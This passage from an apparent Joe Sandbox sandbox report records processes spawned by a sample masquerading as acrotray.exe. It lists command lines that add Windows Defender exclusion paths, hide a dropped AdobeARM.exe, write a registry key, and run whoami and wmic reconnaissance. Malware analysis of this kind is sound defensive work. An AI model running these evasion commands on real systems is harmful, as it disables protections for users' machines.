19:11:58

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 7116 Parent PID: 7120

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:59

14/01/2022

C:\Windows\System32\cmd.exe

false

cmd /C "wmic path win32_VideoController get name"
0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F

false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 6068 Parent PID: 5268

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
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19:11:59

14/01/2022
C:\Windows\System32\cmd.exe
false

cmd /C whoami
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: powershell.exe PID: 5572 Parent PID: 2328

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:59

14/01/2022
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
false

powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local
\Temp

0x7ff777fc0000

447488 bytes
95000560239032BC68B4C2FDFCDEF913
false

false

Net C# or VB.NET

Analysis Process: conhost.exe PID: 3932 Parent PID: 7116

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:59

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 1904 Parent PID: 5268

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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19:11:59

14/01/2022

C:\Windows\System32\cmd.exe

false

cmd /Q /C reg add "HKCU\Software\Mystic Entertainment" /f
0x7ff76d4d0000

273920 bytes

4E2ACF4F8A396486AB4268C94A6A245F

false

false

C, C++ or other language

Page 44 of 58




Analysis Process: conhost.exe PID: 5616 Parent PID: 6068

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:59
14/01/2022
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l

0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
false

false

C, C++ or other language

Analysis Process: WMIC.exe PID: 5964 Parent PID: 7116

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:00

14/01/2022
C:\Windows\System32\wbem\WMIC.exe
false

wmic path win32_VideoController get name
0x7ff6746d0000

521728 bytes
EC80E603E0090B3AC3C1234C2BA43A0F
false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 6488 Parent PID: 1904

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:00
14/01/2022
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
false

false

C, C++ or other language

Analysis Process: whoami.exe PID: 5580 Parent PID: 6068

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:
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19:12:00

14/01/2022
C:\Windows\System32\whoami.exe
false

whoami

0x7ff7aa4f0000
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File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

70144 bytes
AA18BE1AD24DE09417C1A7459F5C1701
false

false

C, C++ or other language

Analysis Process: reg.exe PID: 6636 Parent PID: 1904

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:00
14/01/2022
C:\Windows\System32\reg.exe

false

reg add "HKCU\Software\Mystic Entertainment" /f

0x7ff7f2ad0000

72704 bytes
E3DACF0B31841FA02064B4457D44B357
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 5544 Parent PID: 5268

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:01

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C whoami

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 6300 Parent PID: 5268

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:02
14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C "attrib +S +H C:\Users\user\AppData\Roaming\Microsoft\AdobeARM.exe"

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 3732 Parent PID: 5544
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General

Start time: 19:12:02

Start date: 14/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff70d6e0000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: cmd.exe PID: 5848 Parent PID: 5268

General

Start time: 19:12:02

Start date: 14/01/2022

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppDat
a\Roaming\Microsoft"

Imagebase: 0x7ff76d4d0000

File size: 273920 bytes

MD5 hash: 4E2ACF4F8A396486AB4268C94A6A245F

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 4432 Parent PID: 6300

General

Start time: 19:12:02

Start date: 14/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: whoami.exe PID: 3200 Parent PID: 5544

General

Start time: 19:12:02

Start date: 14/01/2022

Path: C:\Windows\System32\whoami.exe
Wow64 process (32bit): false

Commandline: whoami

Imagebase: 0x7ff7aa4f0000

File size: 70144 bytes
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MDS5 hash: AA18BE1AD24DE09417C1A7459F5C1701

Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 4936 Parent PID: 5848

General

Start time: 19:12:02

Start date: 14/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: attrib.exe PID: 6780 Parent PID: 6300

General

Start time: 19:12:03

Start date: 14/01/2022

Path: C:\Windows\System32\attrib.exe

Wow64 process (32bit): false

Commandline: attrib +S +H C:\Users\user\AppData\Roaming\Microsoft\AdobeARM.exe
Imagebase: 0x7ff7e1670000

File size: 21504 bytes

MDS5 hash: FDC601145CD289C6FBC96D3F805F3CD7
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: powershell.exe PID: 1068 Parent PID: 5848

General

Start time: 19:12:03

Start date: 14/01/2022

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roami
ng\Microsoft

Imagebase: 0x7ff777fc0000

File size: 447488 bytes

MD5 hash: 95000560239032BC68B4C2FDFCDEF913

Has elevated privileges: false

Has administrator privileges: false

Programmed in: .Net C# or VB.NET

Analysis Process: cmd.exe PID: 4624 Parent PID: 7120
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:05

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C ver

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 6636 Parent PID: 5268

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:06

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C "wmic cpu get name”
0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 1904 Parent PID: 4624

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:06

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 4348 Parent PID: 6636

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:
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19:12:07

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
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Has elevated privileges:
Has administrator privileges:

Programmed in:

false
false

C, C++ or other language

Analysis Process: cmd.exe PID: 7084 Parent PID: 7120

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:07

14/01/2022

C:\Windows\System32\cmd.exe

false

cmd /C "wmic path win32_VideoController get name"
0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F

false

false

C, C++ or other language

Analysis Process: WMIC.exe PID: 2828 Parent PID: 6636

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:07

14/01/2022
C:\Windows\System32\wbem\WMIC.exe
false

wmic cpu get name

0x7ff6746d0000

521728 bytes
EC80EG03E0090B3AC3C1234C2BA43A0F
false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 2260 Parent PID: 7084

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:07

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: WMIC.exe PID: 1760 Parent PID: 7084

General
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:08

14/01/2022
C:\Windows\System32\wbem\WMIC.exe
false

wmic path win32_VideoController get name
0x7ff6746d0000

521728 bytes
ECB0E603E0090B3AC3C1234C2BA43A0F
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 6868 Parent PID: 5268

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:10

14/01/2022

C:\Windows\System32\cmd.exe

false

cmd /C "wmic path win32_VideoController get name"
0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F

false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 5624 Parent PID: 6868

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:10

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: WMIC.exe PID: 4488 Parent PID: 6868

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:
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19:12:11

14/01/2022
C:\Windows\System32\wbem\WMIC.exe
false

wmic path win32_VideoController get name
0x7ff6746d0000

521728 bytes
ECB0E603E0090B3AC3C1234C2BA43A0F
false

false
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Programmed in:

C, C++ or other language

Analysis Process: cmd.exe PID: 6628 Parent PID: 5268

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:13

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C ver

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 6196 Parent PID: 6628

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:13

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 3696 Parent PID: 5268

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:14

14/01/2022

C:\Windows\System32\cmd.exe

false

cmd /C "wmic path win32_VideoController get name"
0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F

false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 6068 Parent PID: 3696

General

Start time:

Start date:
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19:12:14
14/01/2022
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Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
false

false

C, C++ or other language

Analysis Process: WMIC.exe PID: 3336 Parent PID: 3696

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:14

14/01/2022
C:\Windows\System32\wbem\WMIC.exe
false

wmic path win32_VideoController get name
0x7ff6746d0000

521728 bytes
ECB0E603E0090B3AC3C1234C2BA43A0F
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 3076 Parent PID: 5268

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:31

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C whoami

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 6632 Parent PID: 7120

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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19:12:31

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C whoami

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language
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Analysis Process: conhost.exe PID: 3180 Parent PID: 3076

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:31
14/01/2022
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 4632 Parent PID: 6632

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:31
14/01/2022
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
false

false

C, C++ or other language

Analysis Process: whoami.exe PID: 5684 Parent PID: 3076

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:32

14/01/2022
C:\Windows\System32\whoami.exe

false

whoami

0x7ff7aa4f0000

70144 bytes
AA18BE1AD24DE09417C1A7459F5C1701
false

false

C, C++ or other language

Analysis Process: whoami.exe PID: 1244 Parent PID: 6632

General

Start time:

Start date:

Path:

Wow64 process (32bit):
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19:12:32
14/01/2022
C:\Windows\System32\whoami.exe

false
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

whoami

0x7ff7aa4f0000

70144 bytes
AA18BE1AD24DE09417C1A7459F5C1701
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 7080 Parent PID: 5268

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:33

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C whoami

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 6788 Parent PID: 7120

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:33

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C whoami

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 3752 Parent PID: 7080

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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19:12:33
14/01/2022
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
false

false

C, C++ or other language




Analysis Process: conhost.exe PID: 2248 Parent PID: 6788

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:33
14/01/2022
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l

0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
false

false

C, C++ or other language

Analysis Process: whoami.exe PID: 5792 Parent PID: 7080

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:33

14/01/2022
C:\Windows\System32\whoami.exe

false

whoami

0x7ff7aa4f0000

70144 bytes
AA18BE1AD24DE09417C1A7459F5C1701
false

false

C, C++ or other language

Analysis Process: whoami.exe PID: 6036 Parent PID: 6788

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:33

14/01/2022
C:\Windows\System32\whoami.exe

false

whoami

0x7ff7aa4f0000

70144 bytes
AA18BE1AD24DE09417C1A7459F5C1701
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 3312 Parent PID: 5268

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:
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19:12:34

14/01/2022
C:\Windows\System32\cmd.exe
false

cmd /C "wmic cpu get name"

0x7ff76d4d0000

Page 56 of 58




File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 5756 Parent PID: 7120

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:34

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C "wmic cpu get name"
0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 5568 Parent PID: 3312

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:12:34

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 5388 Parent PID: 5756

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Disassembly

Copyright Joe Security LLC 2022

19:12:35

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Page 57 of 58



Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 34.0.0 Boulder Opal

Copyright Joe Security LLC 2022 Page 58 of 58


http://www.joesecurity.org

	Table of Contents
	Windows Analysis Report 5641e24e22ccd259f18585ed2cbbaf6be3b39a04b3c7e.exe
	Overview
	General Information
	Detection
	Signatures
	Classification

	Process Tree
	Malware Configuration
	Yara Overview
	Sigma Overview
	System Summary:

	Jbx Signature Overview
	AV Detection:
	Networking:
	Spam, unwanted Advertisements and Ransom Demands:
	System Summary:
	Persistence and Installation Behavior:
	Boot Survival:
	Hooking and other Techniques for Hiding and Protection:
	HIPS / PFW / Operating System Protection Evasion:
	Lowering of HIPS / PFW / Operating System Security Settings:

	Mitre Att&ck Matrix
	Behavior Graph
	Screenshots
	Thumbnails

	Antivirus, Machine Learning and Genetic Malware Detection
	Initial Sample
	Dropped Files
	Unpacked PE Files
	Domains
	URLs

	Domains and IPs
	Contacted Domains
	Contacted URLs
	URLs from Memory and Binaries
	Contacted IPs
	Public

	General Information
	Simulations
	Behavior and APIs

	Joe Sandbox View / Context
	IPs
	Domains
	ASN
	JA3 Fingerprints
	Dropped Files

	Created / dropped Files
	Static File Info
	General
	File Icon
	Static PE Info
	General
	Entrypoint Preview
	Data Directories
	Sections
	Imports


	Network Behavior
	Network Port Distribution
	TCP Packets
	HTTP Request Dependency Graph
	HTTP Packets

	Code Manipulations
	Statistics
	Behavior

	System Behavior
	Analysis Process: 5641e24e22ccd259f18585ed2cbbaf6be3b39a04b3c7e.exe PID: 4356 Parent PID: 4764
	General
	File Activities
	Registry Activities

	Analysis Process: cmd.exe PID: 6516 Parent PID: 4356
	General
	File Activities

	Analysis Process: cmd.exe PID: 7072 Parent PID: 4356
	General
	File Activities

	Analysis Process: conhost.exe PID: 6732 Parent PID: 6516
	General

	Analysis Process: conhost.exe PID: 3696 Parent PID: 7072
	General

	Analysis Process: powershell.exe PID: 1068 Parent PID: 6516
	General
	File Activities

	Analysis Process: cmd.exe PID: 3180 Parent PID: 4356
	General
	File Activities

	Analysis Process: cmd.exe PID: 5556 Parent PID: 4356
	General
	File Activities

	Analysis Process: conhost.exe PID: 5536 Parent PID: 3180
	General

	Analysis Process: conhost.exe PID: 4828 Parent PID: 5556
	General

	Analysis Process: whoami.exe PID: 2132 Parent PID: 3180
	General
	File Activities

	Analysis Process: netsh.exe PID: 2056 Parent PID: 5556
	General
	File Activities

	Analysis Process: cmd.exe PID: 5792 Parent PID: 4356
	General
	File Activities

	Analysis Process: conhost.exe PID: 6000 Parent PID: 5792
	General

	Analysis Process: cmd.exe PID: 4896 Parent PID: 4356
	General
	File Activities

	Analysis Process: whoami.exe PID: 5268 Parent PID: 5792
	General
	File Activities

	Analysis Process: cmd.exe PID: 4232 Parent PID: 4356
	General
	File Activities

	Analysis Process: conhost.exe PID: 6116 Parent PID: 4896
	General

	Analysis Process: conhost.exe PID: 720 Parent PID: 4232
	General

	Analysis Process: ipconfig.exe PID: 924 Parent PID: 4896
	General
	File Activities

	Analysis Process: cmd.exe PID: 3952 Parent PID: 4356
	General
	File Activities

	Analysis Process: reg.exe PID: 1860 Parent PID: 4232
	General
	File Activities
	Registry Activities

	Analysis Process: conhost.exe PID: 7120 Parent PID: 3952
	General

	Analysis Process: WMIC.exe PID: 4488 Parent PID: 3952
	General
	File Activities

	Analysis Process: cmd.exe PID: 7076 Parent PID: 4356
	General
	File Activities

	Analysis Process: cmd.exe PID: 2956 Parent PID: 4356
	General
	File Activities

	Analysis Process: conhost.exe PID: 4768 Parent PID: 7076
	General

	Analysis Process: conhost.exe PID: 6592 Parent PID: 2956
	General

	Analysis Process: attrib.exe PID: 5556 Parent PID: 7076
	General
	File Activities

	Analysis Process: powershell.exe PID: 5616 Parent PID: 2956
	General
	File Activities

	Analysis Process: cmd.exe PID: 6328 Parent PID: 4356
	General

	Analysis Process: conhost.exe PID: 6000 Parent PID: 6328
	General

	Analysis Process: WMIC.exe PID: 2328 Parent PID: 6328
	General

	Analysis Process: cmd.exe PID: 5624 Parent PID: 4356
	General

	Analysis Process: conhost.exe PID: 4960 Parent PID: 5624
	General

	Analysis Process: cmd.exe PID: 4768 Parent PID: 4356
	General

	Analysis Process: conhost.exe PID: 7080 Parent PID: 4768
	General

	Analysis Process: acrotray.exe PID: 7120 Parent PID: 3352
	General

	Analysis Process: WMIC.exe PID: 5092 Parent PID: 4768
	General

	Analysis Process: cmd.exe PID: 6732 Parent PID: 7120
	General

	Analysis Process: cmd.exe PID: 2504 Parent PID: 7120
	General

	Analysis Process: conhost.exe PID: 1312 Parent PID: 6732
	General

	Analysis Process: conhost.exe PID: 1864 Parent PID: 2504
	General

	Analysis Process: cmd.exe PID: 924 Parent PID: 7120
	General

	Analysis Process: powershell.exe PID: 3200 Parent PID: 6732
	General

	Analysis Process: conhost.exe PID: 5624 Parent PID: 924
	General

	Analysis Process: cmd.exe PID: 4632 Parent PID: 7120
	General

	Analysis Process: whoami.exe PID: 5872 Parent PID: 924
	General

	Analysis Process: conhost.exe PID: 5924 Parent PID: 4632
	General

	Analysis Process: reg.exe PID: 6152 Parent PID: 4632
	General

	Analysis Process: cmd.exe PID: 5968 Parent PID: 7120
	General

	Analysis Process: conhost.exe PID: 6200 Parent PID: 5968
	General

	Analysis Process: cmd.exe PID: 5648 Parent PID: 7120
	General

	Analysis Process: whoami.exe PID: 5952 Parent PID: 5968
	General

	Analysis Process: cmd.exe PID: 4360 Parent PID: 7120
	General

	Analysis Process: conhost.exe PID: 5016 Parent PID: 5648
	General

	Analysis Process: conhost.exe PID: 3348 Parent PID: 4360
	General

	Analysis Process: cmd.exe PID: 5116 Parent PID: 7120
	General

	Analysis Process: attrib.exe PID: 6504 Parent PID: 5648
	General

	Analysis Process: powershell.exe PID: 2924 Parent PID: 4360
	General

	Analysis Process: conhost.exe PID: 6088 Parent PID: 5116
	General

	Analysis Process: WMIC.exe PID: 6780 Parent PID: 5116
	General

	Analysis Process: acrotray.exe PID: 5268 Parent PID: 3352
	General

	Analysis Process: cmd.exe PID: 6312 Parent PID: 5268
	General

	Analysis Process: cmd.exe PID: 2328 Parent PID: 5268
	General

	Analysis Process: conhost.exe PID: 4484 Parent PID: 6312
	General

	Analysis Process: conhost.exe PID: 6240 Parent PID: 2328
	General

	Analysis Process: cmd.exe PID: 7116 Parent PID: 7120
	General

	Analysis Process: cmd.exe PID: 6068 Parent PID: 5268
	General

	Analysis Process: powershell.exe PID: 5572 Parent PID: 2328
	General

	Analysis Process: conhost.exe PID: 3932 Parent PID: 7116
	General

	Analysis Process: cmd.exe PID: 1904 Parent PID: 5268
	General

	Analysis Process: conhost.exe PID: 5616 Parent PID: 6068
	General

	Analysis Process: WMIC.exe PID: 5964 Parent PID: 7116
	General

	Analysis Process: conhost.exe PID: 6488 Parent PID: 1904
	General

	Analysis Process: whoami.exe PID: 5580 Parent PID: 6068
	General

	Analysis Process: reg.exe PID: 6636 Parent PID: 1904
	General

